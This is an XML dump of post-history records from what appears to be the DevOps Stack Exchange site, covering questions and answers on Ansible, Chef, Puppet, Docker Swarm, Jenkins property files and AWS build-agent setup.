  <row Id="13107" PostHistoryTypeId="2" PostId="4181" RevisionGUID="0dcbbf31-ad14-456e-b078-129fbb18a695" CreationDate="2018-05-27T21:59:43.700" UserId="7855" Text="To answer your question: No, as of now Ansible can't run loops in parallel.&#xD;&#xA;&#xD;&#xA;I'd use [`newusers`][1] instead, which is made for bulk user creation. Create a file with all users in it, copy it over to the host, and run `newusers /path/to/user/list` in a `command` task.&#xD;&#xA;&#xD;&#xA;  [1]: https://linux.die.net/man/8/newusers" ContentLicense="CC BY-SA 4.0" />
  <row Id="13108" PostHistoryTypeId="4" PostId="3583" RevisionGUID="cede428d-7441-49c1-8af5-c4f28e7d792c" CreationDate="2018-05-27T22:01:54.020" UserId="3244" Comment="edited title" Text="Installing Ansible Controllers to build agents which best practice to use?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13112" PostHistoryTypeId="2" PostId="4183" RevisionGUID="39e73188-2484-4de8-b7e6-6605233a18b3" CreationDate="2018-05-28T02:37:22.667" UserId="7999" Text="My two cents with respect to AWS part:&#xD;&#xA;&#xD;&#xA; - If you have to use different VPCs, and accounts in AWS, I suggest you should have a look at **AWS IAM** roles and assign appropriate policies to the roles; also, ensure these roles are associated with **AWS EC2** instance profiles that can be attached to EC2 instances, if they are used as build agents. That way you won't have to store AWS credentials but go with **AWS STS**.&#xD;&#xA;&#xD;&#xA; - As you have mentioned about **AWS ECR**, let me tell you about Docker Plugin installed -- with these plugins, Jenkinsfile can become very crisp to write and maintain using the steps exposed by the plugin, including the tasks to build the image, tag the image and push the image to the registry.&#xD;&#xA;&#xD;&#xA; - Better yet, you can have metadata YAML for every service / component that can specify details about AWS ECR and write Groovy scripts to detect the change to YAML, only then build new version of the Docker image." ContentLicense="CC BY-SA 4.0" />
  <row Id="13113" PostHistoryTypeId="5" PostId="3942" RevisionGUID="b1616f5a-875c-4305-91a9-c4d1275f0b4b" CreationDate="2018-05-28T04:07:01.353" UserId="40" Comment="deleted 8 characters in body" Text="I noticed that many cookbooks/playbooks/... are not of particularly high quality, and even if they are they rarely cover all cases, so it should be expanded with my custom logic everytime, while 90% of the *book remains unused (+ adds complexity/reduces ease of modification/lacks unification between *books/...).&#xD;&#xA;&#xD;&#xA;In particular, configuration management most of the time is &quot;high-level enough&quot;  to not write too many boilerplate even if you implement something from scratch (the only exception might be additional &quot;pure modules&quot; for specific use cases if DSL does not provide enough functionality).&#xD;&#xA;&#xD;&#xA;I understand this is pretty subjective, but I'm truly surprised I can't find anything related to this (pretty basic) topic. What is your experience, can we say there is a best practice for when to implement your solution from &quot;scratch&quot; or use the existing infrastructure/deployment automation code?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13114" PostHistoryTypeId="5" PostId="3942" RevisionGUID="9dd87646-4fee-443a-b6ce-5958a93f623e" CreationDate="2018-05-28T04:21:56.367" UserId="40" Comment="deleted 1 character in body" Text="I noticed that many cookbooks/playbooks/... are not of particularly high quality, and even if they are they rarely cover all cases. So it should be expanded with my custom logic everytime, while 90% of the *book remains unused (+ adds complexity/reduces ease of modification/lacks unification between *books/...).&#xD;&#xA;&#xD;&#xA;In particular, configuration management most of the time is &quot;high-level enough&quot;  to not write too many boilerplate even if you implement something from scratch. The only exception might be additional &quot;pure modules&quot; for specific use cases if DSL does not provide enough functionality.&#xD;&#xA;&#xD;&#xA;I understand this is pretty subjective, but I'm truly surprised I can't find anything related to this (pretty basic) topic. What is your experience, can we say there is a best practice for when to implement your solution from &quot;scratch&quot; or use the existing infrastructure/deployment automation code?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13115" PostHistoryTypeId="2" PostId="4184" RevisionGUID="5f16f207-4e63-4e19-8eea-b1a666121bbd" CreationDate="2018-05-28T05:30:31.697" UserId="7256" Text="I want to run puppet agent only during night i.e between 11 pm and 4 am, and should be disabled otherwise. I see runinterval works only from the time puppet service was started. Is there any way puppet can be configured to run in particular timeslot?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13116" PostHistoryTypeId="1" PostId="4184" RevisionGUID="5f16f207-4e63-4e19-8eea-b1a666121bbd" CreationDate="2018-05-28T05:30:31.697" UserId="7256" Text="How can I restrict puppet to run in particular time slot" ContentLicense="CC BY-SA 4.0" />
  <row Id="13117" PostHistoryTypeId="3" PostId="4184" RevisionGUID="5f16f207-4e63-4e19-8eea-b1a666121bbd" CreationDate="2018-05-28T05:30:31.697" UserId="7256" Text="&lt;puppet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13118" PostHistoryTypeId="12" PostId="4184" RevisionGUID="2fe62965-c235-4c76-a206-70648f9e9e9a" CreationDate="2018-05-28T07:02:33.130" UserId="7256" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:7256,&quot;DisplayName&quot;:&quot;Dhananjay&quot;}]}" />
  <row Id="13119" PostHistoryTypeId="2" PostId="4185" RevisionGUID="1135f1d2-5cc0-400a-94ee-88567db905bc" CreationDate="2018-05-28T07:34:46.003" UserId="8082" Text="I am using chef for managing servers. Earlier I was using application cookbook for cloning repository. But now in higher version of application cookbook, this support is moved to new cookbook application_git.&#xD;&#xA;I am using 1.1.0&#xD;&#xA;&#xD;&#xA;Issue - &#xD;&#xA;&#xD;&#xA;1. I want to change the path of deploy key&#xD;&#xA;2. Contents of ssh_wrapper&#xD;&#xA;3. Path of ssh_wrapper.&#xD;&#xA;&#xD;&#xA;What all I have tried - &#xD;&#xA;Current code -&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    application 'accounts' do&#xD;&#xA;      action :deploy&#xD;&#xA;      path &lt;somepath&gt;&#xD;&#xA;      owner 'nobody'&#xD;&#xA;      group 'nogroup'&#xD;&#xA;      git 'name' do&#xD;&#xA;        repository &lt;repopath&gt;&#xD;&#xA;        revision &lt;value&gt;&#xD;&#xA;        deploy_key deploy_key&#xD;&#xA;     end&#xD;&#xA;    end &#xD;&#xA;&#xD;&#xA;I am not able to find if I need to pass path using ssh_wrapper_path or ssh_wrapper or deploy_key_path. All are failing.&#xD;&#xA;&#xD;&#xA;Currently, I am able to get keys and wrapper but at a wrong place." ContentLicense="CC BY-SA 4.0" />
  <row Id="13120" PostHistoryTypeId="1" PostId="4185" RevisionGUID="1135f1d2-5cc0-400a-94ee-88567db905bc" CreationDate="2018-05-28T07:34:46.003" UserId="8082" Text="Customizing deploy key and ssh wrapper path for git cloning through application_git cookbook" ContentLicense="CC BY-SA 4.0" />
  <row Id="13121" PostHistoryTypeId="3" PostId="4185" RevisionGUID="1135f1d2-5cc0-400a-94ee-88567db905bc" CreationDate="2018-05-28T07:34:46.003" UserId="8082" Text="&lt;git&gt;&lt;chef&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13122" PostHistoryTypeId="5" PostId="4161" RevisionGUID="8d7ef77a-db78-451a-bf8a-3e9b00779e84" CreationDate="2018-05-28T07:35:54.150" UserId="5058" Comment="added 240 characters in body" Text="I'm currenlty trying to connect/join a Linux Docker Swarm cluster with my Windows machine in order to test a stack without sending the stack over and over to my test cluster under Linux. My problem is that I can't join the cluster with my Windows Docker.&#xD;&#xA;&#xD;&#xA;My cluster had initially 1 manager and 4 workers. I recently created and added a new manager to it in order to add my Windows Docker node as manager. With this, I shouldn't have any issue with the manager quorum (since my two managers will be always up, and my Windows Docker could be interrupted at any time).&#xD;&#xA;&#xD;&#xA;I configured my local firewall - and also on each nodes of my Linux cluster - to accept connections on ports (the following can be found at the end of [this documentation](https://docs.docker.com/engine/swarm/swarm-tutorial/)) :&#xD;&#xA;&#xD;&#xA;* TCP port 2377 for cluster management communications&#xD;&#xA;* TCP and UDP port 7946 for communication among nodes&#xD;&#xA;* UDP port 4789 for overlay network traffic&#xD;&#xA;&#xD;&#xA;The advertising network in my cluster is `192.168.0.0/24`, one of my manager's IP address is `192.168.0.100` and my PC's IP address is `192.168.0.143` (same network). They can ping each others and I tested the ports defined before.&#xD;&#xA;&#xD;&#xA;So, when I perform the `docker swarm join-token manager` on a manager I have something like this:&#xD;&#xA;&#xD;&#xA;    docker swarm join --token SWMTKN-1-27hzpcnek5... 192.168.0.200:2377&#xD;&#xA;&#xD;&#xA;If I copy/paste it to my PC:&#xD;&#xA;&#xD;&#xA;    Error response from daemon: manager stopped: can't initialize raft node: rpc error: code = Unknown desc = could not connect to prospective new cluster member using its advertised address: rpc error: code = DeadlineExceeded desc = context deadline exceeded&#xD;&#xA;&#xD;&#xA;But, even with this error, on my cluster, if I run `docker node ls`, my node appears in the list:&#xD;&#xA;&#xD;&#xA;    8380zb5jeke0elwohr7aieke8     linuxkit-00155d00d946   Ready               Active&#xD;&#xA;&#xD;&#xA;But on my PC Docker thinks that it's not member of a cluster:&#xD;&#xA;&#xD;&#xA;    Error response from daemon: This node is not a swarm manager. Use &quot;docker swarm init&quot; or &quot;docker swarm join&quot; to connect this node to swarm and try again.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The Docker version is different in the cluster and on my PC:&#xD;&#xA;&#xD;&#xA;* Cluster:&#xD;&#xA;  * Client: `17.09.1-ce`&#xD;&#xA;  * Server: `17.09.1-ce`&#xD;&#xA;* PC:&#xD;&#xA;  * Client: `18.03.1-ce`&#xD;&#xA;  * Server: `18.03.1-ce`&#xD;&#xA;&#xD;&#xA;Could the issue came from this?&#xD;&#xA;&#xD;&#xA;N.B.: I work with Bash on Ubuntu on Windows, but the result is the same on PowerShell.&#xD;&#xA;&#xD;&#xA;N.B. 2: I don't know if it's useful, but since Docker for Windows uses Hyper-V, I have a NAT interface: `10.0.75.0/24` (and the VM's IP address is `10.0.75.1`). I tried to use this interface as advertising address and listening address but the issue returned is the same   &#xD;&#xA;&#xD;&#xA;Does anybody already encounter this issue? Any ideas?&#xD;&#xA;&#xD;&#xA;Thanks! :)&#xD;&#xA;&#xD;&#xA;**EDIT 1:** &#xD;&#xA;&#xD;&#xA;Disaggreeing with @BMitch's answer, after tests, I don't think there is any issue with the difference between managers' Docker versions.&#xD;&#xA;&#xD;&#xA;As I said in [my previous comment on BMitch's answer](https://devops.stackexchange.com/questions/4161/join-a-linux-docker-swarm-with-a-local-windows-docker-for-test-purposes/4165#comment5972_4165), I had to add the option `--advertise-addr 192.168.0.200` - which is my leader manager address - to the docker join command. Until this, I used `--advertise-addr 192.168.0.143`, my PC address.&#xD;&#xA;&#xD;&#xA;I hope it will help others.&#xD;&#xA;&#xD;&#xA;**EDIT 2:**&#xD;&#xA;&#xD;&#xA;If I run `docker info` on my PC I got this:&#xD;&#xA;&#xD;&#xA;    Swarm: active&#xD;&#xA;     NodeID: o9wehjcyhe3n6xxzy1epnhxdp&#xD;&#xA;     Error: rpc error: code = Unknown desc = The swarm does not have a leader. It's possible that too few managers are online. Make sure more than half of the managers are online.&#xD;&#xA;     Is Manager: true&#xD;&#xA;     Node Address: 192.168.0.200&#xD;&#xA;     Manager Addresses:&#xD;&#xA;      192.168.0.200:2377&#xD;&#xA;      192.168.0.200:2377&#xD;&#xA;      192.168.0.201:2377&#xD;&#xA;&#xD;&#xA;There are two managers with address `192.168.0.200:2377`.&#xD;&#xA;&#xD;&#xA;**EDIT 3:**&#xD;&#xA;&#xD;&#xA;I finally gave up and installed a Linux server on another machine in order to join the cluster. That's not what I wanted but I can work now.&#xD;&#xA;&#xD;&#xA;If any have information about this issue, I invite you to share it. Thanks :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="13126" PostHistoryTypeId="13" PostId="4184" RevisionGUID="a0dafb5a-ca73-4523-aee9-f510c77843c0" CreationDate="2018-05-28T08:32:33.010" UserId="7256" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:7256,&quot;DisplayName&quot;:&quot;Dhananjay&quot;}]}" />
  <row Id="13127" PostHistoryTypeId="2" PostId="4186" RevisionGUID="661326cb-6ec4-4967-9892-6564f09a0d11" CreationDate="2018-05-28T11:23:49.093" UserId="8085" Text="I think we have an answer here. Using GOCD API it can be managed. https://amaysim.engineering/auto-scaling-build-agents-for-gocdtags-a10f12d5b77c" ContentLicense="CC BY-SA 4.0" />
  <row Id="13128" PostHistoryTypeId="2" PostId="4187" RevisionGUID="a1ab3ccd-24d7-4708-b911-d4802d282f38" CreationDate="2018-05-28T15:04:30.667" UserId="13" Text="Auto Scaling groups have a useful feature for this, named [lifecycle hooks](https://docs.aws.amazon.com/autoscaling/ec2/userguide/lifecycle-hooks.html).&#xD;&#xA;&#xD;&#xA;Worflow taken from the documentation above:&#xD;&#xA;&#xD;&#xA;[![Lifecycle workflow][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As you can notice there's a Scale in step, triggering a Terminating:Wait for the autoscaling group and notifying the instance to be terminated, the instance has now to do it's work and once done signal it is ok to be terminated.&#xD;&#xA;&#xD;&#xA;If the task can take longer than the autoscaling group HeartbeatTimeout parameter you can reset the timeout with (quoting still from the same page):&#xD;&#xA;&#xD;&#xA;&gt; Restart the timeout period by recording a heartbeat, using the&#xD;&#xA;&gt; `record-lifecycle-action-heartbeat` command or the&#xD;&#xA;&gt; `RecordLifecycleActionHeartbeat` operation. This increments the&#xD;&#xA;&gt; heartbeat timeout by the timeout value specified when you created the&#xD;&#xA;&gt; lifecycle hook. For example, if the timeout value is 1 hour, and you&#xD;&#xA;&gt; call this command after 30 minutes, the instance remains in a wait&#xD;&#xA;&gt; state for an additional hour, or a total of 90 minutes.&#xD;&#xA;&#xD;&#xA;So for your case, the lifecycle notification should startup a kind of script/program which will:&#xD;&#xA;&#xD;&#xA;- prevent this builder to receive new builds&#xD;&#xA;- loop periodically to check if the ongoing builds are done&#xD;&#xA;- if there's build still in progress and the timeout is near, reset the timer&#xD;&#xA;- if there's no more builds in progress, signal to proceed to termination&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/1yaNt.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="13129" PostHistoryTypeId="2" PostId="4188" RevisionGUID="2ed38425-23f3-49f2-a905-a390bf95e750" CreationDate="2018-05-28T15:20:44.950" UserId="13" Text="Quoting from the cookbook [README](https://github.com/poise/application_git/blob/master/README.md#properties):&#xD;&#xA;&#xD;&#xA;&gt; deploy_key – SSH key to use with git. Can be specified either as a&#xD;&#xA;&gt; path to key file already created or as a string value containing the&#xD;&#xA;&gt; key directly.&#xD;&#xA;&#xD;&#xA;And:&#xD;&#xA;&#xD;&#xA;&gt; The application_git resource deploys code from git. It extends the&#xD;&#xA;&gt; core git resource to support deploy keys and disabling strict host key&#xD;&#xA;&gt; verification.&#xD;&#xA;&#xD;&#xA;So checking the core git resource [documentation](https://docs.chef.io/resource_git.html#properties):&#xD;&#xA;&#xD;&#xA;&gt; ssh_wrapper Ruby Type: String&#xD;&#xA;&gt; &#xD;&#xA;&gt; The path to the wrapper script used when running SSH with git. The&#xD;&#xA;&gt; GIT_SSH environment variable is set to this.&#xD;&#xA;&#xD;&#xA;so something like this (untested) should do (using the wrapper in the cookbook) :&#xD;&#xA;&#xD;&#xA;    cookbook_file '/path/to/my/desired/ssh_wrapper.sh' do&#xD;&#xA;      source 'my_ssh_wrapper.sh'&#xD;&#xA;    end&#xD;&#xA;    &#xD;&#xA;    application 'accounts' do&#xD;&#xA;      action :deploy&#xD;&#xA;      path &lt;somepath&gt;&#xD;&#xA;      owner 'nobody'&#xD;&#xA;      group 'nogroup'&#xD;&#xA;      git 'name' do&#xD;&#xA;        repository &lt;repopath&gt;&#xD;&#xA;        revision &lt;value&gt;&#xD;&#xA;        ssh_wrapper '/path/to/my/desired/ssh_wrapper.sh'&#xD;&#xA;        deploy_key deploy_key&#xD;&#xA;     end&#xD;&#xA;    end &#xD;&#xA;&#xD;&#xA;You can of course do the same with the deploy_key, but using something like chef_vault or an encrypted databag sounds better to avoid commiting deploy keys within the cookbook." ContentLicense="CC BY-SA 4.0" />
  <row Id="13130" PostHistoryTypeId="5" PostId="4185" RevisionGUID="00948d8e-fff3-4b2a-95ce-d8debfa87799" CreationDate="2018-05-28T16:11:44.590" UserId="6375" Comment="Format content" Text="I am using chef 1.1.0 for managing servers. Earlier I was using application cookbook for cloning repository. But now in higher version of application cookbook, this support is moved to new cookbook application_git.&#xD;&#xA;&#xD;&#xA;Issue - &#xD;&#xA;&#xD;&#xA;1. I want to change the path of deploy key&#xD;&#xA;2. Contents of ssh_wrapper&#xD;&#xA;3. Path of ssh_wrapper.&#xD;&#xA;&#xD;&#xA;What all I have tried - &#xD;&#xA;Current code -&#xD;&#xA;&#xD;&#xA;    application 'accounts' do&#xD;&#xA;      action :deploy&#xD;&#xA;      path &lt;somepath&gt;&#xD;&#xA;      owner 'nobody'&#xD;&#xA;      group 'nogroup'&#xD;&#xA;      git 'name' do&#xD;&#xA;        repository &lt;repopath&gt;&#xD;&#xA;        revision &lt;value&gt;&#xD;&#xA;        deploy_key deploy_key&#xD;&#xA;     end&#xD;&#xA;    end &#xD;&#xA;&#xD;&#xA;I am not able to find if I need to pass path using ssh_wrapper_path or ssh_wrapper or deploy_key_path. All are failing.&#xD;&#xA;&#xD;&#xA;Currently, I am able to get keys and wrapper but at a wrong place." ContentLicense="CC BY-SA 4.0" />
  <row Id="13131" PostHistoryTypeId="6" PostId="4185" RevisionGUID="00948d8e-fff3-4b2a-95ce-d8debfa87799" CreationDate="2018-05-28T16:11:44.590" UserId="6375" Comment="Format content" Text="&lt;git&gt;&lt;deployment&gt;&lt;chef&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13132" PostHistoryTypeId="24" PostId="4185" RevisionGUID="00948d8e-fff3-4b2a-95ce-d8debfa87799" CreationDate="2018-05-28T16:11:44.590" Comment="Proposed by 6375 approved by -1 edit id of 703" ContentLicense="CC BY-SA 4.0" />
  <row Id="13133" PostHistoryTypeId="5" PostId="4185" RevisionGUID="fd929153-5abd-48e5-b789-25b6a4497ab4" CreationDate="2018-05-28T16:11:44.590" UserId="40" Comment="deleted 9 characters in body" Text="I am using Chef 1.1.0 for managing servers. Earlier I was using application cookbook for cloning repository. But now in higher version of application cookbook, this support is moved to new cookbook application_git.&#xD;&#xA;&#xD;&#xA;Issue:&#xD;&#xA;&#xD;&#xA;1. I want to change the path of deploy key&#xD;&#xA;2. Contents of ssh_wrapper&#xD;&#xA;3. Path of ssh_wrapper.&#xD;&#xA;&#xD;&#xA;What I have tried (Current code):&#xD;&#xA;&#xD;&#xA;    application 'accounts' do&#xD;&#xA;      action :deploy&#xD;&#xA;      path &lt;somepath&gt;&#xD;&#xA;      owner 'nobody'&#xD;&#xA;      group 'nogroup'&#xD;&#xA;      git 'name' do&#xD;&#xA;        repository &lt;repopath&gt;&#xD;&#xA;        revision &lt;value&gt;&#xD;&#xA;        deploy_key deploy_key&#xD;&#xA;     end&#xD;&#xA;    end &#xD;&#xA;&#xD;&#xA;I am not able to find if I need to pass path using ssh_wrapper_path or ssh_wrapper or deploy_key_path. All are failing.&#xD;&#xA;&#xD;&#xA;Currently, I am able to get keys and wrapper but at a wrong place." ContentLicense="CC BY-SA 4.0" />
  <row Id="13134" PostHistoryTypeId="5" PostId="4185" RevisionGUID="a5200fcf-31cb-483b-a4ce-c1e118d4f23e" CreationDate="2018-05-29T05:10:01.573" UserId="8082" Comment="added 1 character in body" Text="I am using Chef 12.0.3 for managing servers. Earlier I was using application cookbook for cloning repository. But now in higher version of application cookbook, this support is moved to new cookbook application_git.&#xD;&#xA;&#xD;&#xA;Issue:&#xD;&#xA;&#xD;&#xA;1. I want to change the path of deploy key&#xD;&#xA;2. Contents of ssh_wrapper&#xD;&#xA;3. Path of ssh_wrapper.&#xD;&#xA;&#xD;&#xA;What I have tried (Current code):&#xD;&#xA;&#xD;&#xA;    application 'accounts' do&#xD;&#xA;      action :deploy&#xD;&#xA;      path &lt;somepath&gt;&#xD;&#xA;      owner 'nobody'&#xD;&#xA;      group 'nogroup'&#xD;&#xA;      git 'name' do&#xD;&#xA;        repository &lt;repopath&gt;&#xD;&#xA;        revision &lt;value&gt;&#xD;&#xA;        deploy_key deploy_key&#xD;&#xA;     end&#xD;&#xA;    end &#xD;&#xA;&#xD;&#xA;I am not able to find if I need to pass path using ssh_wrapper_path or ssh_wrapper or deploy_key_path. All are failing.&#xD;&#xA;&#xD;&#xA;Currently, I am able to get keys and wrapper but at a wrong place." ContentLicense="CC BY-SA 4.0" />
  <row Id="13135" PostHistoryTypeId="2" PostId="4189" RevisionGUID="fb8c5277-aef8-4266-9f03-ac89a7075112" CreationDate="2018-05-29T11:54:27.127" UserId="7763" Text="We are using spring boot to develop Java backend services. `application.properties` file has the database configurations. We are deploying in 4 different environments (dev, test, UAT, and production). The properties files will be different for different environments. Where should we keep these files and how should do build promotion using Jenkins? We are using Apache Tomcat to deploy our WAR file.&#xD;&#xA;&#xD;&#xA;Now we are keeping the properties file in `C:\Program Files\Apache Software Foundation\Tomcat 7.0\conf` directory and accessing using the following code.&#xD;&#xA;&#xD;&#xA;    @PropertySource(value = {&quot;file:${catalina.base}/conf/application_dev.properties&quot;})&#xD;&#xA;&#xD;&#xA;Each time we deploy in different environments, we need to replace the respective file name `application_test/uat/production.properties`, commit the code and let Jenkins build and deploy. Now manually we have to keep the files in different environments too. &#xD;&#xA;&#xD;&#xA;Please suggest how should we do it." ContentLicense="CC BY-SA 4.0" />
  <row Id="13136" PostHistoryTypeId="1" PostId="4189" RevisionGUID="fb8c5277-aef8-4266-9f03-ac89a7075112" CreationDate="2018-05-29T11:54:27.127" UserId="7763" Text="Where should we keep application properties file while doing build promotion using Jenkins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13137" PostHistoryTypeId="3" PostId="4189" RevisionGUID="fb8c5277-aef8-4266-9f03-ac89a7075112" CreationDate="2018-05-29T11:54:27.127" UserId="7763" Text="&lt;jenkins&gt;&lt;spring-boot&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13138" PostHistoryTypeId="6" PostId="4189" RevisionGUID="ef90e7d6-d18a-49c1-973d-1698adbcf260" CreationDate="2018-05-29T13:08:55.093" UserId="7763" Comment="Tag added" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;spring-boot&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13139" PostHistoryTypeId="2" PostId="4190" RevisionGUID="be4abd96-80fa-46f4-963f-e04ba7bf8355" CreationDate="2018-05-29T13:31:43.203" UserId="8097" Text="When I create a file inside a container with `docker-compose run web touch test` the file owns to `root:root`. I want to change it to be `$USER` without to use `chown`.&#xD;&#xA;&#xD;&#xA;I'm aware of the `--user` option but it requires to have the user created on the `Dockerfile`. I prefer to not change the `Dockerfile` because it is committed on a git repo and I don't want to commit this because it is kind of personal config.&#xD;&#xA;&#xD;&#xA;I tried to mount the file `/etc/passwd` but the user is not present when we run a command. I can use `su $USER -c &quot;...&quot;` but there is some issues with this.&#xD;&#xA;&#xD;&#xA;So, what's the best way to set create new files with the owner set as the user of the host machine?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13140" PostHistoryTypeId="1" PostId="4190" RevisionGUID="be4abd96-80fa-46f4-963f-e04ba7bf8355" CreationDate="2018-05-29T13:31:43.203" UserId="8097" Text="Change owner of files created inside a Docker container without changing the Dockerfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="13141" PostHistoryTypeId="3" PostId="4190" RevisionGUID="be4abd96-80fa-46f4-963f-e04ba7bf8355" CreationDate="2018-05-29T13:31:43.203" UserId="8097" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13142" PostHistoryTypeId="2" PostId="4191" RevisionGUID="6cf679a6-e47b-447a-b27a-af0be743a2af" CreationDate="2018-05-29T14:45:50.797" UserId="8098" Text="I'm sure it does, otherwise it wouldn't be the module in use in:&#xD;&#xA;&#xD;&#xA;    https://awslimitchecker.readthedocs.io/en/latest/" ContentLicense="CC BY-SA 4.0" />
  <row Id="13143" PostHistoryTypeId="50" PostId="3419" RevisionGUID="6a9c5600-ea8d-49d3-9da2-e616e6cbb86f" CreationDate="2018-05-29T15:13:46.783" UserId="-1" />
  <row Id="13144" PostHistoryTypeId="2" PostId="4192" RevisionGUID="edf6646d-87f8-444e-8e68-c00de685c213" CreationDate="2018-05-29T15:17:18.943" UserId="210" Text="No need to change the Dockerfile. Just define a certain user, e.g. jenkins and a certain uid, e.g. `1000` and ensure the same uid is used when a folder is mounted.&#xD;&#xA;&#xD;&#xA;&gt;     ARG user=jenkins&#xD;&#xA;&gt;     ARG uid=1000&#xD;&#xA;&gt; &#xD;&#xA;&gt;     # Jenkins is run with user `jenkins`, uid = 1000&#xD;&#xA;&gt;     # If you bind mount a volume from the host or a data container,&#xD;&#xA;&gt;     # ensure you use the same uid&#xD;&#xA;&gt;     RUN mkdir -p $JENKINS_HOME \&#xD;&#xA;&gt;         &amp;&amp; chown ${uid}:${gid} $JENKINS_HOME \&#xD;&#xA;&gt;         &amp;&amp; addgroup -g ${gid} ${group} \&#xD;&#xA;&gt;     &amp;&amp; adduser -h &quot;$JENKINS_HOME&quot; -u ${uid} -G ${group} -s /bin/bash -D ${user}&#xD;&#xA;&gt; &#xD;&#xA;&gt;     RUN chown -R ${user} &quot;$JENKINS_HOME&quot; /usr/share/jenkins/ref&#xD;&#xA;&#xD;&#xA;https://github.com/jenkinsci/docker/blob/master/Dockerfile-alpine" ContentLicense="CC BY-SA 4.0" />
  <row Id="13145" PostHistoryTypeId="2" PostId="4193" RevisionGUID="f2587e75-8430-47fd-b10f-42fb988ce551" CreationDate="2018-05-29T16:58:55.700" UserId="8002" Text="The whole reason for Docker is to not need an entire operating system underneath. If you want an entire operating system, just take a VM and clone it and distribute that." ContentLicense="CC BY-SA 4.0" />
  <row Id="13146" PostHistoryTypeId="50" PostId="3488" RevisionGUID="0b18ce7c-1e76-40ee-a699-b0a8c126f569" CreationDate="2018-05-29T17:14:00.757" UserId="-1" />
  <row Id="13147" PostHistoryTypeId="2" PostId="4194" RevisionGUID="b30ad33b-857b-4f83-af09-4771efc3b7c8" CreationDate="2018-05-29T17:43:43.857" UserId="4175" Text="&gt; Is that possible without any hack? &#xD;&#xA;&#xD;&#xA;Yes, it is possible. While Docker is often used for microservice-oriented images (i.e., one single service per image), nothing keeps you from converting a monolithic old application to Docker by building a large image, and running arbitrarily many processes inside.&#xD;&#xA;&#xD;&#xA;While it is true that a Docker image is not a standalone VM, it still contains *everything* an equivalent VM would contain - excluding the kernel. I.e., all OS libraries (libc, everything else...) are in there anyways.&#xD;&#xA;&#xD;&#xA;&gt; If yes, what are the big lines to follow?&#xD;&#xA;&#xD;&#xA;A Dockerfile is just a funky version of a plain old shell script which you could ordinarily use to provision your software with all its dependencies. That is, you chain a lot of commands, which are executed during the build process, and whatever ends up in the file system at the end gets packed up into an image.&#xD;&#xA;&#xD;&#xA;So the general route is:&#xD;&#xA;&#xD;&#xA;- Pick a base image. Depending on your needs and security requirements, you can pick your favourite distribution from Dockerhub. At first, you can pick any Debian, Ubuntu or whatever distribution you prefer and are used to. See below for further considurations.&#xD;&#xA;- Those base images usually are pretty small. Hence, your next step is to use `RUN apt install...` lines to add any standard packages you like.&#xD;&#xA;- Finally, you have to install your own software somehow. If you follow the usual approach, you would prepare any binaries or whatever you need in the directory alongside your Dockerfile, and then `ADD` them in.&#xD;&#xA;- The last step is to (optionally) create a `ENTRYPOINT`, i.e., a command that is run when the image is started up, as well as `EXPOSE` routing information, run as non-root `USER` or set `ENV`ironment variables.&#xD;&#xA;&#xD;&#xA;These are the big lines. If you just do it naively, you will end up with a *huge* image (gigabytes), and create a new huge image everytime you rebuild, wich can pose serious problems. The next steps are thus:&#xD;&#xA;&#xD;&#xA;- Switch the base image to a smaller one. `alpine` is good.&#xD;&#xA;- For each `RUN`call, make sure there are no temporary/unneccessary files left afterwards. For example, `apt install`leaves you with a lot of cache junk in `/var`. Due to the way Docker works with its onion-style layered file systems, you have to get rid of the junk *within the same `RUN`command*, you cannot clean up in a second `RUN`. If you google, you will find plenty of examples.&#xD;&#xA;- You probably pulled in too many packages with `apt install`, fix that.&#xD;&#xA;- For installing your own software, the same applies. Avoid having temporary `.tar` archives lying around which you don't need anymore.&#xD;&#xA;&#xD;&#xA;These steps should significantly reduce your image size already. Depending on what you are actually doing, 500'ish MB is a good target to avoid over-optimizing at this stage.&#xD;&#xA;&#xD;&#xA;The final step is to optimize everything:&#xD;&#xA;&#xD;&#xA;- Make sure that you do not have to rebuild every single intermediate image each time, by ordering the lines in the Dockerfile appropriately. You can get away with large images if the &quot;largeness&quot; happens in the first few image layers, if those change seldom, and can be re-used by many final images.&#xD;&#xA;- For an intermediate image to be re-used, it must be bitwise identical to another one. So be sure to fix all variable information (like version numbers etc.) as best you can.&#xD;&#xA;- Obviously, if you get the hang of all of this, and get your complex, many-part application running inside a single Docker image, then it's time to split it apart across multiple images (rinse, repeat). Anything that communicates by TCP/IP should be an easy choice to do so." ContentLicense="CC BY-SA 4.0" />
  <row Id="13148" PostHistoryTypeId="2" PostId="4195" RevisionGUID="ec7dd7ad-23e6-4d2f-92e4-4c4d789e8ef6" CreationDate="2018-05-29T18:01:49.070" UserId="4427" Text="I think @AnoE answer is correct as far as answering the question OP asked and providing some good tips. &#xD;&#xA;&#xD;&#xA;I also feel like the comment @Tensibai left is really important as well.&#xD;&#xA;&#xD;&#xA;&gt; You shouldn't because containers are not lightweight VM and are not&#xD;&#xA;&gt; supposed to run multiples softwares within only one. -Tensibai&#xD;&#xA;&#xD;&#xA;Though that isn't always true either ^. &#xD;&#xA;&#xD;&#xA;My advice to OP would be to take this time and break apart the different apps and dependencies into separate docker containers. This would be the &quot;proper&quot; way to do it. This would give you something much more flexible in the long run. " ContentLicense="CC BY-SA 4.0" />
